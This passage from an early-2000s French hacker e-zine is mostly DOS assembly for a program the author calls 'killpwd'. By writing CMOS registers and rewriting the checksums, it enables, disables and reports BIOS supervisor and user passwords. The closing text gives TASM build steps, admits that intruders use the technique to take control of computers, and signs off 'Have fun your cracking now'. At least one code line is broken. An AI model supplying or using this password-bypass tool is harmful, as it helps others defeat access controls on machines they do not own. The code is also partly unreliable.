;*** Copie le premier command-line : ***
mov si, 80h // PSP: command-line (cmdl)
lea di, cmdl
lodsb
xor cx, cx
mov cl, al // CX = length of cmdl
lodsb
rep movsb

;*** upcase command-line: ***
lea di, cmdl
lea si, cmdl
mov cl, al
uploop:
lodsb
cmp al, 97 // 'a'
jb upok

cmp al, 122 // 'z'
ja upok

sub al, (97-65
upok:
stosb
loop uploop

;*** compare les cmdl-parameters: ***

lea si, p_show

xor ax, ax // retourne la valeur

mov cx, num_params // différents cmdl-params possible
comp_loop:
push cx
push ax

lea di, cmdl
lodsb
xor cx, cx // récupère sa longueur
mov cl, al
repe cmpsb
mov bx, cx

add si, cx

pop ax // récupère la valeur
pop cx

or bx, bx
jz done

inc ax
loop comp_loop

error:
mov ax, 0ffffh //ERREUR

done:
ret

;±±± read_CMOS: ±±±
read_CMOS:
mov dx, 70h // lit dans le CMOS à la position de AL
out dx, al
inc dx
in al, dx
ret
;±±± write_CMOS: ±±±
write_CMOS:
mov dx, 70h // écriture AH dans le CMOS à la position de AL
out dx, al
inc dx
mov al, ah
out dx, al
ret

;±±± show_info: ±±±
show_info:

;*** Supervisor-password désactivé/activé? ***

mov al, 11h // lit la position 5eh du CMOS
call read_CMOS

lea dx, pw_3 // supervisor-password désactivé

and al, 02h
jz pw_superdisabled

lea dx, pw_4 // supervisor-password activé
call print_msg
jmp pw_level

pw_superdisabled:
call print_msg

;*** User-password désactivé/activé? ***

mov al, 5eh // lit la position 5eh du CMOS
call read_CMOS

lea dx, pw_5 // user-password désactivé

and al, 01h
jz pw_userdisabled

lea dx, pw_6 // user-password activé
call print_msg
jmp pw_level

pw_userdisabled:
call print_msg
jmp show_done

pw_level: // écrit sur le password-level

mov al, 11h // lit la position 11h dans le CMOS
call read_CMOS

lea dx, pw_1 // niveau du système

and al, 01h // password: niveau du Système/Setup
jnz pw_system

lea dx, pw_2 // niveau du setup

pw_system:
call print_msg

show_done:

ret

;±±± do_checksum: ±±±
do_checksum: // calcule des nouveaux checksum du CMOS et les écrit dans le CMOS


mov cx, 2dh - 10h + 1 // CMOS-reg. (10h - 2dh) + 1
xor ah, ah
xor bx, bx

checksum_loop:

mov dx, 70h
mov al, 2dh + 1
sub al, cl // al = registre dans le CMOS
out dx, al
inc dx
in al, dx // lit le CMOS-reg

add bx, ax // ajoute 2 checksum

loop checksum_loop

mov dx, 70h
mov al, 2eh
out dx, al
inc dx
mov al, bh
out dx, al

mov dx, 70h
mov al, 2fh
out dx, al
inc dx
mov al, bl
out dx, al

ret

;±±± do_checksum_ext: ±±±
do_checksum_ext: // calcule des nouveaux checksum du CMOS et les écrit dans le CMOS

mov cx, 79h - 42h + 1 // (42h - 79h) + 1
xor ah, ah
xor bx, bx

check_loop_ext:

mov dx, 70h
mov al, 79h + 1
sub al, cl // al = registre dans le CMOS
out dx, al
inc dx
in al, dx // lit reg

add bx, ax // ajoute 2 checksum

loop check_loop_ext

mov dx, 70h
mov al, 7ah
out dx, al
inc dx
mov al, bh
out dx, al

mov dx, 70h
mov al, 7bh
out dx, al
inc dx
mov al, bl
out dx, al

ret

;±±± real_start: ±±±
real_start: // début du programme (enfin:)

push cs // DS = CS
pop ds
push cs // ES = CS
pop es

;*** Affiche le copyright ***
lea dx, copyr
call print_msg

call parse_cmdl

cmp ax, 0000h //display password-info
je pwd_info

cmp ax, 0002h //active le supervisor-passwordwd
je pwd_superenable

cmp ax, 0001h //désactive le supervisor-passwordd
je pwd_superdisable

cmp ax, 0003h //installe le password au niveau du système
je pwd_system

cmp ax, 0004h //set password to setup level
je pwd_setup

cmp ax, 0006h // active l'user-password
je pwd_userenable

cmp ax, 0005h // désactive l'user-password
je pwd_userdisable

jmp helpscreen

;*** display pwd-information ***
pwd_info:
call show_info
jmp back2dos

;*** Installation du password au niveau du setup ***
pwd_setup:
mov al, 11h // lit 11 h dans le CMOS-reg
call read_CMOS
and al, NOT 1 // installe le password au niveau du setup
mov ah, al
mov al, 11h // écrit 11 h dans le CMOS-reg
call write_CMOS
call do_checksum

lea dx, pw_2
call print_msg
jmp back2dos

;*** Installation du password au niveau du setup ***
pwd_system:
mov al, 11h
call read_CMOS
or al, 1 // installe le password au niveau du système
mov ah, al
mov al, 11h
call write_CMOS

call do_checksum

lea dx, pw_1
call print_msg
jmp back2dos

;*** Activation du supervisor-password du BIOS ***
pwd_superenable:
mov al, 11h
call read_CMOS
or al, 2 // active le PWD-bit
mov ah, al
mov al, 11h
call write_CMOS

call do_checksum // calcule le nouveau checksum du CMOS

lea dx, pw_4
call print_msg
jmp back2dos

;*** Désactivation du supervisor-password du BIOS ***
pwd_superdisable:
mov al, 11h
call read_CMOS
and al, NOT 2 // Désactive le PWD-bit
mov ah, al
mov al, 11h
call write_CMOS

call do_checksum

lea dx, pw_3
call print_msg
jmp back2dos

;*** DUMMY JUMP ***
pwd_userdisable:
jmp real_userdisable

;*** Activation de l'user-password du BIOS ***
pwd_userenable:
mov al, 5eh // lit 5eh dans CMOS-reg
call read_CMOS
or al, 1 // active le PWD-bit
mov ah, al
mov al, 5eh // écrit 5eh dans CMOS-reg
call write_CMOS

call do_checksum_ext // calcule du nouveau checksum du CMOS

lea dx, pw_6
call print_msg
jmp back2dos

;*** Désactivation de l'user-password du BIOS ***
real_userdisable:
mov al, 5eh
call read_CMOS
and al, NOT 1 // désactive le PWD-bit
mov ah, al
mov al, 5eh
call write_CMOS

call do_checksum_ext

lea dx, pw_5
call print_msg
jmp back2dos

;*** affiche l'écran d'aide ***
helpscreen:
lea dx, help // affiche l'écran d'aide
call print_msg
; jmp back2dos

back2dos:
.exit 0 // retour à 2 dos

END start
------------------

Voilà. C'est tout. Comme vous le noterez, ce n'est pas du tout compliqué, fallait juste y penser. L'essentiel est expliqué. Il a été testé : il est très fonctionnel. Tapez un mot de passe au pif et ça fonctionne (évidemment, le magazine t moi ne sauront être tenus responsables des dégâts éventuellement causé par l'utilisation d'un tel code, cela coule de source !!)

Pour le compiler, utilisez TASM (ça se trouve très bien sur le Net). Appelez le programme "killpwd" par exemple et tapez la commande
tasm /m killpwd (pour tasm v.4.0). Cette routine pourrait très bien servir de sous-programme pour un futur logiciel plus évolué.
Avec un tel programme, si vous devenez amnésique, vous pourrez déjà sauver votre machine. Malheureusement, cette technique est utilisé également par les pirates afin de prendre le contrôle d'un ordinateur. Face à cela, une seule parade existe, définitive : enclencher le cavalier derrière sur votre carte-mère (regardez votre mode d'emploi) afin de protégé votre BiOS en écriture. Non seulement, il ne sera jamais modifier ou flasher, mais encore vous serez prévenu lors d'une telle tentative, ce qui aura pour effet de démasquer le virus furtif.


Have fun your cracking now :::>


=====================================================================


Voilà ce premier numéro touche à sa fin. J'espère qu'il vous a plu dans son idéologie (même si les premiers articles
n'est guère d'un bon niveau!!) Toutes nos découvertes seront uniquement pour vous !!
Merci de votre fidélité, de la pub que vous nous faites... c'est vous qui faites vivre notre site et ce magazine!
Je ne sais pas encore quand le prochain magazine sortira... mais dans peu de temps! Une seule solution pour être au
courant : inscrivez-vous sur notre forum qui vous préviendra à chaque sortie de numéro! On est en train de mettre au
point une mailing-list.

Bon, sur ce, je termienrai par ce poème d'un hacker anonyme :


010110100111
101010100100
100011010111
110010101000

100010101111
100010101110
001011011011
101100110010

101101010010
010101011010
010111010011

101001010111
010101001111
111010010111

Visitez nos sites : http://dealer-hack.ifrance.com & http://dealerhacksecurity.free.fr

Vous avez des questions a prepos du mag ? vous n'avez pas compris qq chose allez sur le forum : http://dealerhacksecurity.free.fr/forum

By TDC - The Darkunderground Clan